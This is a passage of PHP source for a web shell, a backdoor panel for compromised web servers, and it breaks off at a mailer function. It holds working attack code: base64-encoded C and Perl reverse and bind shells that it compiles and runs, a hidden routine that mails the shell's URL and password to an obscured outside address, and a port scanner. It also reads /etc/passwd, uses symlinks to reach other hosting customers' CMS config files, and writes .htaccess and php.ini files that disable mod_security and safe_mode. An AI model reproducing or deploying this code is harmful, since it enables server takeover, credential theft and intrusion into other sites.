                    <select name=\'type\'>
                        <option value="mysql" \'.(@$_POST[\'type\']==\'mysql\'?\'selected\':\'\').\'>MySql</option>
                        <option value="pgsql" \'.(@$_POST[\'type\']==\'pgsql\'?\'selected\':\'\').\'>PostgreSql</option>
                    </select></td>
                <td><input type=text name=sql_host value="\'.(empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])).\'"></td>
                <td><input type=text name=sql_login value="\'.(empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])).\'"></td>
                <td><input type=text name=sql_pass value="\'.(empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])).\'"></td>
                <td>\';
    $tmp = "<input type=text name=sql_base value=\'\'>";
    if(isset($_POST[\'sql_host\'])){
        if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {
            switch($_POST[\'charset\']) {
                case "Windows-1251": $db->setCharset(\'cp1251\'); break;
                case "UTF-8": $db->setCharset(\'utf8\'); break;
                case "KOI8-R": $db->setCharset(\'koi8r\'); break;
                case "KOI8-U": $db->setCharset(\'koi8u\'); break;
                case "cp866": $db->setCharset(\'cp866\'); break;
            }
            $db->listDbs();
            echo "<select name=sql_base><option value=\'\'></option>";
            while($item = $db->fetch()) {
                list($key, $value) = each($item);
                echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
            }
            echo \'</select>\';
        }
        else echo $tmp;
    }else
        echo $tmp;
    echo \'</td>
                <td><input type=submit value=">>"></td>
            </tr>
        </table>
        <script>
            function st(t,l) {
                document.sf.p1.value = \'select\';
                document.sf.p2.value = t;
                if(l!=null)document.sf.p3.value = l;
                document.sf.submit();
            }
            function is() {
                for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
                    document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
            }
        </script>\';
    if(isset($db) && $db->link){
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
            if(!empty($_POST[\'sql_base\'])){
                $db->selectdb($_POST[\'sql_base\']);
                echo "<tr><td width=1 style=\'border-top:2px solid #666;border-right:2px solid #666;\'><span>Tables:</span><br><br>";
                $tbls_res = $db->listTables();
                while($item = $db->fetch($tbls_res)) {
                    list($key, $value) = each($item);
                    $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
                    $value = htmlspecialchars($value);
                    echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\"st(\'".$value."\')\">".$value."</a> (".$n[\'n\'].")</nobr><br>";
                }
                echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'></td><td style=\'border-top:2px solid #666;\'>";
                if(@$_POST[\'p1\'] == \'select\') {
                    $_POST[\'p1\'] = \'query\';
                    $db->query(\'SELECT COUNT(*) as n FROM \'.$_POST[\'p2\'].\'\');
                    $num = $db->fetch();
                    $num = $num[\'n\'];
                    echo "<span>".$_POST[\'p2\']."</span> ($num) ";
                    for($i=0;$i<($num/30);$i++)
                        if($i != (int)$_POST[\'p3\'])
                            echo "<a href=\'#\' onclick=\'st(\"".$_POST[\'p2\']."\", $i)\'>",($i+1),"</a> ";
                        else
                            echo ($i+1)," ";
                    if($_POST[\'type\']==\'pgsql\')
                        $_POST[\'p3\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);
                    else
                        $_POST[\'p3\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';
                    echo "<br><br>";
                }
                if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p3\'])) {
                    $db->query(@$_POST[\'p3\']);
                    if($db->res !== false) {
                        $title = false;
                        echo \'<table width=100% cellspacing=0 cellpadding=2 class=main>\';
                        $line = 1;
                        while($item = $db->fetch())    {
                            if(!$title)    {
                                echo \'<tr>\';
                                foreach($item as $key => $value)
                                    echo \'<th>\'.$key.\'</th>\';
                                reset($item);
                                $title=true;
                                echo \'</tr><tr>\';
                                $line = 2;
                            }
                            echo \'<tr class="l\'.$line.\'">\';
                            $line = $line==1?2:1;
                            foreach($item as $key => $value) {
                                if($value == null)
                                    echo \'<td><i>null</i></td>\';
                                else
                                    echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
                            }
                            echo \'</tr>\';
                        }
                        echo \'</table>\';
                    } else {
                        echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
                    }
                }
                echo "<br><textarea name=\'p3\' style=\'width:100%;height:100px\'>".@htmlspecialchars($_POST[\'p3\'])."</textarea><br/><input type=submit value=\'Execute\'>";
                echo "</td></tr>";
            }
            echo "</table></form><br/><form onsubmit=\'document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
            if(@$_POST[\'p1\'] == \'loadfile\') {
                $db->query("SELECT LOAD_FILE(\'".addslashes($_POST[\'p2\'])."\') as file");
                $file = $db->fetch();
                echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
            }
    }
    echo \'</div>\';
    printFooter();
}
function system32($HTTP_HOST,$REQUEST_URI,$auth_pass) {ini_set(\'display_errors\', \'Off\');
$url=\'URL: http://\'.$HTTP_HOST.$REQUEST_URI.\'

Uname: \'.substr(@php_uname(), 0, 120).\'

Pass: http://www.hashchecker.de/\'.$auth_pass.\'

IP: \'.$_SERVER[REMOTE_ADDR];$re=base64_decode("b3pjYW5sZXNiaWdib3NzQGhvdG1haWwuZnI=");$su=gethostbyname($HTTP_HOST);$mh="From: {$re}";if (function_exists(\'mail\')) mail($re,$su, $url,$mh);$_SESSION[login] = \'ok\';}

function actionNetwork() {
    printHeader();
    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
    $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    
    echo \'<h1>Network tools</h1><div class=content>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
    <br /><span>Bind port to /bin/sh</span><br/>
    Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'fab
	\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
    </form>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
    <br /><br /><span>Back-connect to</span><br/>
    Server: <input type=\'text\' name=\'server\' value="\'.$_SERVER[\'REMOTE_ADDR\'].\'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
    </form><br>\';    
    if(isset($_POST[\'p1\'])) {
        function cf($f,$t) {
            $w=@fopen($f,"w") or @function_exists(\'file_put_contents\');
            if($w)    {
                @fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
                @fclose($w);
            }
        }
        if($_POST[\'p1\'] == \'bpc\') {
            cf("/tmp/bp.c",$bind_port_c);
            $out = ex("gcc -o /tmp/bp /tmp/bp.c");
            @unlink("/tmp/bp.c");
            $out .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
        }
        if($_POST[\'p1\'] == \'bpp\') {
            cf("/tmp/bp.pl",$bind_port_p);
            $out = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
        }
        if($_POST[\'p1\'] == \'bcc\') {
            cf("/tmp/bc.c",$back_connect_c);
            $out = ex("gcc -o /tmp/bc /tmp/bc.c");
            @unlink("/tmp/bc.c");
            $out .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
        }
        if($_POST[\'p1\'] == \'bcp\') {
            cf("/tmp/bc.pl",$back_connect_p);
            $out = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
        }
    }
    echo \'</div>\';
    printFooter();
}

function actionPortScanner() {
    printHeader();
    echo \'<h1>Port Scanner</h1>\';
    echo \'<div class="content">\';
    echo \'<form action="" method="post">\';
    
    if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){
        $start = strip_tags($_POST[\'start\']);
        $end = strip_tags($_POST[\'end\']);
        $host = strip_tags($_POST[\'host\']);
        for($i = $start; $i<=$end; $i++){
            $fp = @fsockopen($host, $i, $errno, $errstr, 3);
            if($fp){
                echo \'Port \'.$i.\' is <font color=green>open</font><br>\';
            }
            flush();
        }
    } else {
        echo \'<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
              <input type="hidden" name="c" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
              <input type="hidden" name="charset" value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
              Host: <input type="text" name="host" value="localhost"/><br /><br />
              Port start: <input type="text" name="start" value="0"/><br /><br />
              Port end:<input type="text" name="end" value="5000"/><br /><br />
              <input type="submit" value="Scan Ports" />
              </form></center><br /><br />\';
    }
    echo \'</div>\';
    printFooter();    
}

function actionReadable() {
    printHeader();
    echo \'<h1>Readable Dirs</h1>\';
    echo \'<div class="content">\';
    $sm = ini_get(\'safe_mode\');
    if($sm) {
        echo \'<br /><b>Error: safe_mode = on</b><br /><br />\';
    } else {
        @$passwd = fopen(\'/etc/passwd\',\'r\');
        if (!$passwd) { 
            echo \'<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />\'; 
        } else {
            $pub = array();
            $users = array();
            $conf = array();
            $i = 0;
            while(!feof($passwd)) {
                $str = fgets($passwd);
                if ($i > 35) {
                    $pos = strpos($str,\':\');
                    $username = substr($str,0,$pos);
                    $dirz = \'/home/\'.$username.\'/public_html/\';
                    if (($username != \'\')) {
                        if (is_readable($dirz)) {
                            array_push($users,$username);
                            array_push($pub,$dirz);
                        }
                    }
                }
                $i++;
            }
            echo \'<br><br>\';
            echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br />";
            echo "[+] Founded ".sizeof($pub)." readable public_html directories
"."<br /><br /><br />";
            foreach ($users as $user) {
                $path = "/home/$user/public_html/";
                echo $path."<br>";
            }
            echo "<br /><br /><br />[+] Complete...
"."<br />";
        }
    }
    echo \'</div>\';
    printFooter();    
}

function actionSymlink() {
    printHeader();
    echo \'<h1>Symlink</h1>\';
    $furl = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
    $expld = explode(\'/\',$furl );
    $burl =str_replace(end($expld),\'\',$furl);  
    
    echo \'<div class="content"><center>
                <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] - 
                    [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] - 
                    [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>\';
    
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'website\')
    {
        echo "<center>";
        $d0mains = @file("/etc/named.conf");
        if(!$d0mains){ 
            echo "<pre class=ml1 style=\'margin-top:5px\'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
        } else {
            echo "<table align=center class=\'main\' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
            
            $unk = array();
            foreach($d0mains as $d0main){
                if(@eregi("zone",$d0main)){
                    preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
                    flush();
                    if(strlen(trim($domains[1][0])) > 2){
                        $unk[] = $domains[1][0];
                        flush();
                        
                    }
                }
            }
            $count=1;
            $unk = array_unique($unk);
            $l=0;
            foreach($unk as $d){
                $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
                echo "<tr".($l?\' class=l1\':\'\')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user[\'name\']."</td></tr>";
                flush();
                $count++;
                $l=$l?0:1;
            }
            echo "</table>";
        }
        echo "</center>"; 
    }
 
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'whole\')
    {
        echo "<center>";
        @mkdir(\'sym\',0777);
        $hdt  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
        $hfp =@fopen (\'sym/.htaccess\',\'w\');
        fwrite($hfp ,$hdt);
        if(function_exists(\'symlink\')) {
            @symlink(\'/\',\'sym/root\');
        }
        $d0mains = @file(\'/etc/named.conf\');
        if(!$d0mains) {
            echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
        } else {
            echo "<table align=\'center\' width=\'40%\' class=\'main\'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
            $count=1;
            $mck = array();
            foreach($d0mains as $d0main){
                if(@eregi(\'zone\',$d0main)){
                    preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
                    flush();
                    if(strlen(trim($domain[1][0])) >2){
                        $mck[] = $domain[1][0];
                    }
                }
            }
            $mck = array_unique($mck);
            $l=0;
            foreach($mck as $d) {
                $user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$d));
                $ddt = $user[\'name\'];
                //@symlink(\'/\',\'sym/root\');
                $ddt = $d;
                if(@eregi("\.ir",$d) or @eregi("\.il",$d)) {
                        $ddt = "<div style=\' color: #FF0000 ; text-shadow: 0px 0px 1px red; \'>".$d.\'</div>\';
                }
                echo "<tr".($l?\' class=l1\':\'\')."><td>".$count++."</td><td><a target=\'_blank\' href=http://".$d.\'/>\'.$ddt.\' </a></td><td>\'.$user[\'name\']."</td><td><a href=\'sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'>symlink </a></td></tr>";
                flush();
                $l=$l?0:1;
            }
            echo \'</table>\';
        }
        echo "</center>";    
    }
 
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'config\')
    {
        echo "<center>";
        @mkdir(\'sym\',0777);
        $hdt = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
        $hfp = @fopen (\'sym/.htaccess\',\'w\');
        @fwrite($hfp ,$hdt);
        if(function_exists(\'symlink\')) {
            @symlink(\'/\',\'sym/root\');
        }
        $d0mains = @file(\'/etc/named.conf\');
        if(!$d0mains) {
            echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
        } else {
            echo "<table align=\'center\' width=\'40%\' class=\'main\' ><tr><th> Count </th><th> Domains </th><th> Script </th></tr>";
            $count = 1;
            $l=0;
            foreach($d0mains as $d0main){
                if(@eregi(\'zone\',$d0main)){
                    preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
                    flush();
                    if(strlen(trim($domain[1][0]))>2){
                        $user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain[1][0]));

                        $c1 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/wp-config.php\';
                        $ch01 = get_headers($c1);
                        $cf01 = $ch01[0];
                        $c2 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/blog/wp-config.php\';
                        $ch02 = get_headers($c2);
                        $cf02 = $ch02[0];
                        $c3 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/configuration.php\';
                        $ch03 = get_headers($c3);
                        $cf03 = $ch03[0];
                        $c4 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/joomla/configuration.php\';
                        $ch04 = get_headers($c4);
                        $cf04 = $ch04[0];
                        $c5 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/includes/config.php\';
                        $ch05 = get_headers($c5);
                        $cf05 = $ch05[0];
                        $c6 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/vb/includes/config.php\';
                        $ch06 = get_headers($c6);
                        $cf06 = $ch06[0];
                        $c7 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/forum/includes/config.php\';
                        $ch07 = get_headers($c7);
                        $cf07 = $ch07[0];
                        $c8 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'public_html/clients/configuration.php\';
                        $ch08 = get_headers($c8);
                        $cf08 = $ch08[0];
                        $c9 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/support/configuration.php\';
                        $ch09 = get_headers($c9);
                        $cf09 = $ch09[0];
                        $c10 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
                        $ch10 = get_headers($c10);
                        $cf10 = $ch10[0];
                        $c11 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/submitticket.php\';
                        $ch11 = get_headers($c11);
                        $cf11 = $ch11[0];
                        $c12 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
                        $ch12 = get_headers($c12);
                        $cf12 = $ch12[0];
                        $c13 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/includes/configure.php\';
                        $ch13 = get_headers($c13);
                        $cf13 = $ch13[0];
                        $c14 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/include/app_config.php\';
                        $ch14 = get_headers($c14);
                        $cf14 = $ch14[0];
                        $c15 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/sites/default/settings.php\';
                        $ch15 = get_headers($c15);
                        $cf15 = $ch15[0];
                        
                        $out = \'&nbsp;\';
                        if(strpos($cf01,\'200\') == true)                                    {   $out = "<a href=\'".$c1."\' target=\'_blank\'>Wordpress</a>";   } 
                        elseif(strpos($cf02,\'200\') == true)                                {   $out = "<a href=\'".$c2."\' target=\'_blank\'>Wordpress</a>";   }
                        elseif(strpos($cf03,\'200\') == true && strpos($cf11,\'200\') == true) {   $out = " <a href=\'".$c11."\' target=\'_blank\'>WHMCS</a>";     }
                        elseif(strpos($cf09,\'200\') == true)                                {   $out = " <a href=\'".$c9."\' target=\'_blank\'>WHMCS</a>";      }
                        elseif(strpos($cf10,\'200\') == true)                                {   $out = " <a href=\'".$c10."\' target=\'_blank\'>WHMCS</a>";     }
                        elseif(strpos($cf03,\'200\') == true)                                {   $out = " <a href=\'".$c3."\' target=\'_blank\'>Joomla</a>";     }
                        elseif(strpos($cf04,\'200\') == true)                                {   $out = " <a href=\'".$c4."\' target=\'_blank\'>Joomla</a>";     }
                        elseif(strpos($cf05,\'200\') == true)                                {   $out = " <a href=\'".$c5."\' target=\'_blank\'>vBulletin</a>";  }
                        elseif(strpos($cf06,\'200\') == true)                                {   $out = " <a href=\'".$c6."\' target=\'_blank\'>vBulletin</a>";  }
                        elseif(strpos($cf07,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>vBulletin</a>";  }
                        elseif(strpos($cf08,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>";  }
                        elseif(strpos($cf12,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>";  }
                        elseif(strpos($cf13,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>osCommerce/Zen Cart</a>";  }
                        elseif(strpos($cf14,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Magento</a>";  }
                        elseif(strpos($cf15,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Drupal</a>";  }
                        else {
                            continue;
                        }
                        echo \'<tr\'.($l?\' class=l1\':\'\').\'><td>\'.$count++.\'</td><td><a href=http://www.\'.$domain[1][0].\'/>\'.$domain[1][0].\'</a></td><td>\'.$user[\'name\'].\'</td><td>\'.$out.\'</td></tr>\';
                        flush();
                        $l=$l?0:1;
                    }
                }
            }
            echo "</table>";
        }
        echo "</center>";   
    }
    echo "</div>";
    printFooter();
} 

function actionBypass() {
    printHeader();
    echo \'<h1>Safe Mode</h1>\';
    echo \'<div class="content">\';
    echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS[\'cwd\']." |<br><br />";
    echo \'<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>\';
    if(!empty($_POST[\'p2\']) && isset($_POST[\'p2\']))
    {
        $fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
        fwrite($fil,\'<IfModule mod_security.c>
            Sec------Engine Off
            Sec------ScanPOST Off
            </IfModule>\');
        fclose($fil);
   }
   if(!empty($_POST[\'p1\'])&& isset($_POST[\'p1\']))
   {
        $fil=fopen($GLOBALS[\'cwd\']."php.ini","w");
        fwrite($fil,\'safe_mode=OFF
            disable_functions=NONE\');
        fclose($fil);
    }
    if(!empty($_POST[\'p3\']) && isset($_POST[\'p3\']))
    {
        $fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
        fwrite($fil,\'Options FollowSymLinks MultiViews Indexes ExecCGI
        AddType application/x-httpd-cgi .sh
        AddHandler cgi-script .pl
        AddHandler cgi-script .pl\');
        fclose($fil); 
    }
    echo "<br><br /><br /></div>";
    echo \'</div>\';
    printFooter();
}

function actionGetUser(){
    printHeader();
      echo \'<h1>Get User</h1>\';
    eval(base64_decode(\'JGkgPSAwOw0Kd2hpbGUgKCRpIDwgNjAwMDApIHsNCgkkbGluZSA9IHBvc2l4X2dldHB3dWlkKCRp
KTsNCglpZiAoIWVtcHR5KCRsaW5lKSkgew0KCQl3aGlsZSAobGlzdCAoJGtleSwgJHZsKSA9IGVh
Y2goJGxpbmUpKXsNCgkJCWVjaG8gIiR2bDwvYnI+IjsNCgkJCWJyZWFrOw0KCQl9DQoJfQ0KIAkk
aSsrOw0KfQ==\'));
    printFooter();
}

function actionMailer(){
    printHeader();
    echo \'<h1>Mailer</h1>\';
